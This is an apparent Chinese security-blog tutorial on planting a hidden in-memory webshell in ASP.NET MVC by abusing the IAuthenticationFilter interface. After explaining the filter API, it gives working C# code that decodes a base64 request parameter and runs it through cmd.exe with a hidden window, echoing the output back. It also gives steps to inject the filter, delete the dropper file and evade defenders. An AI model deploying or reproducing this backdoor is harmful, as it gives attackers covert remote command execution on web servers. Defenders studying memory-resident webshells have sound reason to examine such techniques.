.NET 实现虚拟WebShell第2课之AuthenticationFilter

0x01 背景

IAuthenticationFilter认证过滤器是MVC5的新特性,它在其他所有过滤器之前运行,我们可以在认证过滤器中创建一个我们定义的认证方法,也可以结合授权过滤器做一个复杂的认证方法,例如通常实现针对http Basic请求认证,从请求的Authorization报头中提取安全凭证,并按照Basic凭证的格式解析出用户名和密码。只有在用户名和密码匹配的情况下,我们认为请求通过认证,如果账密不匹配的情况下客户端会接收到401状态及响应。攻击者利用此过滤器可以在任意请求前实现一个隐蔽的虚拟Webshell,对于防守方此内存级别的Shell将变得难以排查,具体如何实现的原理及攻击方法请看本文完整的实现。.

0x02 效果

大致可以分为三步,后续文章里笔者还会继续简化和高效利用,目前先运行第1步访问 /dotnetofAuthenticationFilter.aspx 将虚拟文件注入到内存,并删除此文件;第2步打开新的浏览器标签页访问默认主页 /?cmd=tasklist也可以正常触发,记得tasklist需base编码。成功结果如下图

.NET 实现虚拟WebShell第2课之AuthenticationFilter

0x03 接口

很多情况下目标Action方法都要求在一个安全上下文中被执行,这里所谓的安全上下文主要指的是当前请求者是一个经过授权的用户。授权的本质就是让用户在他许可的权限范围内做他能够做的事情,授权的前提是请求者是一个经过认证的用户。.NET MVC提供身份认证过滤器AuthenticationFilter处理上述业务场景,该过滤器是HTTP请求处理的第一个阶段,所以也是最先被执行的过滤器。采用的是[ 质询(Chanllenge) -> 应答(Response) ]形式,认证方向被认证方发出质询以要求其提供用于实施认证的用户凭证,而被认证方提供相应的凭证以作为对质询的应答。AuthenticationFilter类型均实现了IAuthenticationFilter接口,定义在命名空间System.Web.Mvc.Filter下,其余的几种过滤器接口也都定义在这里,该接口定义了两个核心方法,如下代码片段

namespace System.Web.Mvc.Filters{  /// <summary>Defines a filter that performs authentication.</summary>  public interface IAuthenticationFilter  {    /// <summary>Authenticates the request.</summary>    /// <param name="filterContext">The context to use for authentication.</param>    void OnAuthentication(AuthenticationContext filterContext);

    /// <summary>Adds an authentication challenge to the current <see cref="T:System.Web.Mvc.ActionResult" />.</summary>    /// <param name="filterContext">The context to use for the authentication challenge.</param>    void OnAuthenticationChallenge(AuthenticationChallengeContext filterContext);  }}

OnAuthentication方法用于对请求实施认证,OnAuthenticationChallenge方法则负责将相应的认证质询发送给请求者。

3.1 OnAuthentication方法

定义在IAuthenticationFilter接口的两个方法都将请求的上下文对象filterContext作为其唯一传递参数,不同地方在于OnAuthentication方法的这个参数类型为AuthenticationContext,它是ControllerContext的子类。所有的属性如下

.NET 实现虚拟WebShell第2课之AuthenticationFilter

AuthenticationContext的ActionDescriptor返回的自然是用于描述目标Action方法的ActionDescriptor对象。借助于Principal属性,我们可以获取或设置代表当前用户的Principal对象。如果我们在执行OnAuthentication方法的过程中设置了AuthenticationContext的Result属性,ActionResult将直接用于响应当前身份验证失败的错误请求。代码片段如下图

.NET 实现虚拟WebShell第2课之AuthenticationFilter

3.2 OnAuthenticationChallenge方法

OnAuthenticationChallenge方法的参数类型为AuthenticationChallengeContext,依然是一个ControllerContext的子类。同样具有一个用于描述目标Action方法的ActionDescriptor属性,其Result属性代表的ActionResult对象将用于响应返回正常状态码的请求,所有的属性如下表,核心的代码片段如下图

.NET 实现虚拟WebShell第2课之AuthenticationFilter

.NET 实现虚拟WebShell第2课之AuthenticationFilter

0x04 实现WebShell

下面笔者将改写OnAuthentication方法,首先我们在站点文件夹下添加一个名为 dotnetofAuthenticationFilter.aspx 的过滤器文件,创建MyAuthenticationFilter类继承 IAuthenticationFilter 接口,OnAuthentication方法内获取外部传入的base64数据,得到request对象后解码,另外为了具备命令执行后回显,使用StandardOutput.ReadToEnd读取命令执行后的所有返回数据,代码片段如下

public void OnAuthentication(AuthenticationContext filterContext)        {            if (!string.IsNullOrEmpty(System.Web.HttpContext.Current.Request["content"]))            {                String content = System.Text.Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(System.Web.HttpContext.Current.Request["content"]));                if (content != null)                {                    Process p = new Process();                    p.StartInfo.FileName = "cmd.exe";                    p.StartInfo.Arguments = "/c " + content;                    p.StartInfo.UseShellExecute = false;                    p.StartInfo.RedirectStandardOutput = true;                    p.StartInfo.RedirectStandardError = true;                    p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;                    p.Start();                    byte[] data = Encoding.Default.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());                    System.Web.HttpContext.Current.Response.Write("<pre>" + Encoding.Default.GetString(data) + "</pre>");                }            }        }

0x05 结语

.NET MVC下还有很多这样的过滤器可以被用来实现虚拟Webshell,如果对这些技巧感兴趣的话可以多关注我们的博客、公众号dotNet安全矩阵以及星球,下一篇将继续分享 .NET相关的安全知识,请大伙继续关注。另外文章涉及的PDF和Demo以及工具已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。